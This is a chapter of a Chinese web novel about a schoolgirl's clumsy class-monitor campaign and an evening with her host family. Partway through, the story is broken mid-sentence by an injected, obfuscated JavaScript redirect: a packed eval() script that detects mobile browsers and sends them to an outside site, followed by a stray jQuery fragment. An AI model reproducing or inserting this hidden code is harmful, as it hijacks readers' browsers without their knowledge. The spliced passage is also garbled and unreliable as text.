“我没有参加过什么比赛,但是……但是我有当班长的经验,从小学一年级到初中三年级,我有很多很多年的经验。如果我能成为班长,我会尽我所能,为需要的同学提供帮助,我会团结集体,嗯……对,团结集体,然后……让我们这个班变得越来越好。”
祝婴宁上来时全凭一股热血,以至于压根没想好要说什么,将这一通朴素又结巴的竞辞讲完,她就词穷了,而此时距她上台仅仅只过去了半分钟。她并非笨嘴拙舌之人,从前在班上演讲也远不至于如此木讷,可见在新班级接连碰壁的经历还是给她带来了一些负面影响。
她努力想再说点什么,脑袋里却空荡荡的,空到拿根木棍敲一敲都能听到铛铛的回音。
沉默。
窒息般的沉默在班里蔓延开。
她和前排同学相顾无言,最后前排同学扛不住她的目光,不得不假装学习,低头翻阅着课本,借此避开了她的目光。她只好转头和洪青阳对视。
洪青阳被她盯得不自觉放下了二郎腿,想了想,将双手交叉放在膝盖上,发挥着班主任循循善诱的职能:“要怎样帮助?用什么帮助?可以说得再具体点。”
“呃,用……”
祝婴宁难以避免地想起了邹皓说的“KPI思维”和“SWOT分析”,她说不出这么高级的东西,脑海里蹦出来的第一个回答是用热情帮助大家。
可以这么说吗?用热情帮助大家?说出来会不会太傻了?
就在她天人交战时,底下不知道哪个男生接了句:“用浑身使不完的牛劲帮助大家呗。”
话音刚落,底下原本被她尬到沉默的同学被这句插科打诨逗得再次哄笑起来。
笑声此起彼伏,如同海岸边一波又一波涌上来的潮浪,拍在讲台桌壁上,拍在黑板上,也拍在祝婴宁身上。洪青阳头疼不已,正想再度出面整顿纪律,就听讲台上的祝婴宁小声说:“……对。”
声音不大,一开始只有前排的同学听到,她索性提了提音量,突然大声道:“对!”
班上原本正笑得乐不可支的同学都被她这声气贯长虹的“对”给喊懵了,纷纷止住了笑声。
“你说得对。”她看向那个接话的男生,乌黑油亮的眼睛如同龙眼核,温润地闪烁着一种拙朴又干净的光辉,“我可以用我的力气帮助大家,虽然我没有拿得出手的经历,但我确实有使不完的精力,这是我的优势,谢谢你提醒我。”她说完,露出一个同样拙朴又干净的笑容,鞠了鞠躬,说,“这就是我的竞选词了,我没有别的要说的,谢谢大家,请你们支持我,希望大家能够投票给我。”随后便走下了讲台。
她突如其来的真诚一击搞得底下众人都卡壳了,一时接不上话。
邵彦君瞥了瞥她,震惊于她讲话的老气横秋,和身后的戴以泽交换了一个“这人果然好土”的眼神。
她下台后,又相继有几位同学上台,有人和邹皓调性接近,走的是精英风,有人说话风趣,满嘴网络热梗,也有人和她一样嘴拙,但自我定位准确,直接说想当学习委员,理由是中考在区里排第几第几名。
一轮演讲结束,眨眼便到了投票环节。
现实并非童话,也不是动画片,祝婴宁深知这一点,因此看到投票结果后,她并没有自己预想中那般失落,只是有些震惊。因为——虽然如她所料,邹皓的票数完胜她,但班上依然有七个人投给她。他们班一共是五十四人,仅班长这个职位,邹皓获得三十三票,她获得七票,余下的人都选择了弃票。
她看着投票结果,心里既惊讶又窃喜。
原来班里竟然有七个人支持她啊……
而且,邹皓看起来也不是人人都喜欢嘛。
哦,不行!后一个想法太恶劣了,她怎么可以这样想?祝婴宁赶紧摇了摇脑袋,把恶劣的窃喜甩出去。
邵彦君完全无法理解祝婴宁在高兴些什么,换成是她自己,上台发表一通傻里傻气的讲话,被全班人嘲笑,最后还只获得惨兮兮的七票,她肯定已经羞愤交加从走廊跳下去了,为什么她旁边这人还能一脸成为美国大选胜利者的表情?就差把“我竟然足足有七个人支持”大写加粗裱在脸上了。
**
晚上回到家里,钟点工已经做好了晚饭,她和许思睿同许正康一起坐在餐桌前用餐,由于许正康那个“食不言寝不语”的教诲,饭桌上没人说话,仅有细碎的咀嚼声,一顿饭吃得无比沉闷,简直像在吃席。
许思睿率先吃完,谁都没看,把碗哐当一声扔进洗碗槽就回卧室了。
他这几天在家都是这副仿佛被谁欠了八百万的态度,许正康前几天没说什么,只假装没看见,但今天工作时受了气,那股气郁积在他的五脏六腑里,导致他怎么看许思睿怎么觉得不顺眼。见他就这么走了,许正康不悦地蹙了蹙眉,放下碗筷,问祝婴宁:“怎么样,今天去学校还适应吗?”
她想了想,撇去那些不太好的经历,斟酌着答:“挺……挺好的。”
“许思睿呢?”他瞄向许思睿紧闭的卧室门,“没逃课吧?”
“没有。”她赶紧替许思睿辩白,“他也挺好的许叔叔,他好像已经交到了新朋友。”
许正康冷嗤道:“交朋友?交朋友管什么用?他交的那些不三不四的朋友难道还少吗?学生就该有学生的样子,能把学习搞好才是正事!婴宁,你在学校多看着他点,务必要监督他好好学习,别让他整天跟些乱七八糟的人鬼混。”
祝婴宁尴尬地笑了笑,心里觉得许正康这样武断地评判许思睿的朋友不好,但寄人篱下,吃人嘴短,也无法说什么,只能默默点了点头。
“你在学校要是有什么不懂的不适应的,就去找他问,别让他闲着。”
她只好又卑微地点了点头。
不过,说到不懂的,她确实有个问题想请教他。
**
叩叩。
祝婴宁敲响了许思睿的房门,在外面等了许久,也没听到他说请进,她只好又敲了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15774929|174662||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几遍。
等了仿佛几百万年,里头才传来许思睿懒洋洋的声音,惜字如金道:“进。”
她推开门走进去。许思睿把空调调得很低,18℃,她一进来就被冻得一哆嗦,缩着肩膀来到他书桌边,见他拿着个手机在玩游戏,贪吃蛇,玩得头也不抬,一时便有些踟蹰。
他用余光扫见她这副支支吾吾的样子:“什么事?说。”
她这才举起手里的饭卡,可怜巴巴地说:“许思睿……我的饭卡今天在学校食堂刷不开,你知道是怎么回事吗?”
他腾出一只手接过她的饭卡,另一只手依然划拉着屏幕,吝啬地分了个眼尾到饭卡上,看了看,问:“你没激活?”
“激活?那是什么?”
“就是拿到食堂门口那台机器上扫一下,输一下学号,得激活了这卡才能用。”
“啊!原来是这样。”她恍然大悟,可高兴了没多久,又有些泄气,“但是,为什么大家都知道要激活呢?”
“你们班主任没说?”他终于舍得从屏幕上移开视线,瞟了她一眼。
祝婴宁仔细回忆了一下,确定道:“没有。”她听洪青阳讲话听得很认真,甚至还做了笔记,她百分百肯定洪青阳没说。
“那就是他的问题。”
她微微一怔。
不知道为什么,听到许思睿说这是洪青阳的失职,而不是她的问题,她心里骤然拨云见日,变得晴朗多了。可晴朗了没几秒,祝婴宁又忍不住狠狠唾弃自己,她今天怎么变得这么小人得志了?一点都不君子。一会儿因为有人没投给邹皓高兴,一会儿又因为洪青阳的疏忽高兴,这很不对,这简直太不对了。
许思睿手一滑,贪吃蛇撞到了墙壁,屏幕显示game over。他正打算再开一局,就看到祝婴宁蹲在他书桌边,表情千变万化,时而愁眉苦脸,时而自暴自弃,像颗正在淋雨的蔫了吧唧的蘑菇。
“……”
他放下手机,问,“你在干嘛?”
“我在三省吾身,我唾弃我自己。”
“?”
他没忍住笑了一声,“你受什么刺激了?”
她长长地叹了一口气,伸手去抠他书桌的边缘。许思睿皱起眉,拿饭卡的边角不客气地敲她的手,力道还挺重:“别瞎抠,哪染上的坏习惯。”
她只好甩了甩手,把手缩回来,转而问:“许思睿,你知道什么是KPI吗?还有SWOT分析,模联比赛,social 卡、卡皮头……之类的?”
她说完,等了片刻,却没等到许思睿回答,好奇地抬起头,恰好撞上他低垂的目光。他用左手手背撑着下颌,视线下移,居高临下地看着她,表情似笑非笑,过了许久,才用一种了然的腔调好整以暇道:“哦……原来是受了这种刺激。”
“……”
也许是因为他的话,也许是因为他夹带调侃的视线和嘴角的笑,总之,说不清缘由的,祝婴宁感觉自己脸颊的温度蹭蹭往上涨了几分。